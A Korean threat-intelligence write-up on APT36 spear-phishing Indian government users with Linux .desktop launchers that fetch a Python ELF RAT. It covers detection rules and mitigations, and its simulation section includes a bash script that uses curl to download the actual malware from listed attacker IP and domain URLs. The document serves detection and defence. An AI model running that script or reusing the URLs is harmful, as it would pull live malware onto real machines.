APT36, 인도 정부 기관을 겨냥한 Python ELF 멀웨어 배포
Detection stack
- AIDR
- Alert
- ETL
- Query
요약
APT36(Transparent Tribe)는 인도 정부 사용자에게 악성 Linux .desktop 바로가기 파일을 배포하는 스피어 피싱 캠페인을 실행했습니다. 이 런처들은 공격자가 제어하는 서버에서 swcbc라는 Python 기반의 ELF RAT를 가져와 실행합니다. 악성코드는 사용자 수준의 systemd 서비스를 통해 지속성을 유지하며, HTTP를 통해 C2와 통신하여 데이터를 유출하고 명령을 실행합니다. 이 캠페인은 Linux 환경에서 효과적으로 운영할 수 있는 그룹의 성장하는 역량을 보여줍니다.
조사
조사는 초기 .zip 첨부 파일에서 .desktop 런처, 미끼 PDF, 그리고 액터가 제어하는 IP 주소에서 다운로드된 두 개의 페이로드(swcbc ELF 바이너리와 swcbc.sh 스크립트)까지의 연쇄 과정을 따랐습니다. 분석 결과 ELF 바이너리는 PyInstaller로 패킹된 Python RAT로 시스템 프로파일링, 파일 업로드/다운로드, 화면 캡처, 자가 제거 기능을 갖추고 있습니다. 지속성은 사용자의 구성 디렉터리 내에 systemd 서비스를 등록하여 구현됩니다.
완화
권장 방어책에는 이메일을 통해 수신된 .desktop, .sh, ELF 바이너리의 실행을 차단하고, 의심스러운 첨부 파일에 대해 샌드박스 실행을 적용하는 것이 포함됩니다. /tmp와 같은 전역 쓰기 가능한 경로에서 자동 실행을 비활성화하고 가능한 경우 noexec 마운트 옵션을 적용하십시오. 식별된 악성 도메인과 IP에 대한 연결을 확인하기 위해 DNS 및 HTTP 트래픽을 모니터링하십시오. curl 및 LibreOffice와 같은 도구에 대해 엄격한 애플리케이션 제어를 시행하십시오.
대응
활동이 감지되면 영향을 받은 Linux 호스트를 격리하고 악성 아티팩트와 systemd 서비스 유닛을 수집하여 숨겨진 ~/.swcbc 디렉터리를 제거하십시오. 법의학 도구를 사용하여 호스트의 고유 식별자를 추출하고 진행 중인 C2 세션을 종료하십시오. 관찰된 IOC를 사용하여 탐지 콘텐츠를 업데이트하고 더 넓은 환경에서 유사한 패턴을 적극적으로 탐색하십시오.
공격 흐름
탐지
APT36 악성 URL 다운로드 탐지 [프록시]
보기
APT36 악성 .desktop 및 쉘 스크립트 실행 [Linux 프로세스 생성]
보기
탐지할 IOC (SourceIP): 인도 정부 기관을 겨냥한 APT36 Python 기반 ELF 멀웨어
보기
탐지할 IOC (DestinationIP): 인도 정부 기관을 겨냥한 APT36 Python 기반 ELF 멀웨어
보기
탐지할 IOC (HashSha256): 인도 정부 기관을 겨냥한 APT36 Python 기반 ELF 멀웨어
보기
시뮬레이션 실행
필수 조건: Telemetry & Baseline Pre‑flight Check가 통과해야 합니다.
이 섹션은 탐지 규칙을 트리거하도록 설계된 적의 기술(TTP) 실행을 상세히 설명합니다. 명령과 설명은 식별된 TTP를 직접 반영하고 탐지 로직이 기대하는 정확한 텔레메트리를 생성하려고 해야 합니다. 추상적이거나 관련이 없는 예시는 오진으로 이어질 수 있습니다.
-
공격 서사 및 명령:
APT‑36 운영자는 손상된 인프라에 세 가지 페이로드를 호스팅하고 피싱 이메일을 통해 URL을 배포합니다. 기업 프록시를 통해 트래픽을 라우팅하도록 구성된 웹 브라우저를 사용하는 희생자가 각 링크를 클릭합니다. 프록시는 각 GET 요청을 기록하여 규칙에 일치하는 항목을 생성합니다.url|all목록. 페이로드는 다음과 같습니다:- 순수 ELF 바이너리 (
swcbc)는 HTTP를 통해 전달됩니다. - 쉘 스크립트 (
swcbc.sh)는 실행 시 ELF를 설치합니다. - 미끼 PDF (
Analysis_Proc_Report_Gem.pdf)는 사용자가 파일을 열도록 유도하는 동안 백그라운드에서 악성 ELF가 실행됩니다.
- 순수 ELF 바이너리 (
-
회귀 테스트 스크립트:
#!/usr/bin/env bash # APT‑36 악성 URL 다운로드 시뮬레이션 – Sigma 규칙을 트리거합니다. set -euo pipefail # 악성 URL 정의 (Sigma 규칙의 정확한 문자열) urls=( "http://185.235.137.90:32587/uploads/yash10_52228826567/swcbc" "http://185.235.137.90:32587/uploads/yash10_52228826567/swcbc.sh" "https://lionsdenim.xyz/in/Analysis_Proc_Report_Gem.pdf" ) # 기업 프록시를 통해 각 페이로드를 다운로드합니다. # 환경 변수 http_proxy/https_proxy가 프록시를 가리키고 있다고 가정합니다. for u in "${urls[@]}"; do echo "[*] 프록시를 통해 $u 다운로드 중..." curl -s -O "$u" done echo "[+] 모든 악성 파일이 다운로드되었습니다. 일치하는 URL을 확인하기 위해 프록시 로그를 확인하십시오."스크립트를
apt36_simulation.sh로 저장하고, 실행 가능하게 합니다 (chmod +x apt36_simulation.sh) 및 보호된 워크스테이션에서 실행합니다. -
정리 명령:
#!/usr/bin/env bash # 시뮬레이션에 의해 생성된 모든 파일을 제거합니다. rm -f swcbc swcbc.sh Analysis_Proc_Report_Gem.pdf echo "[+] 정리가 완료되었습니다."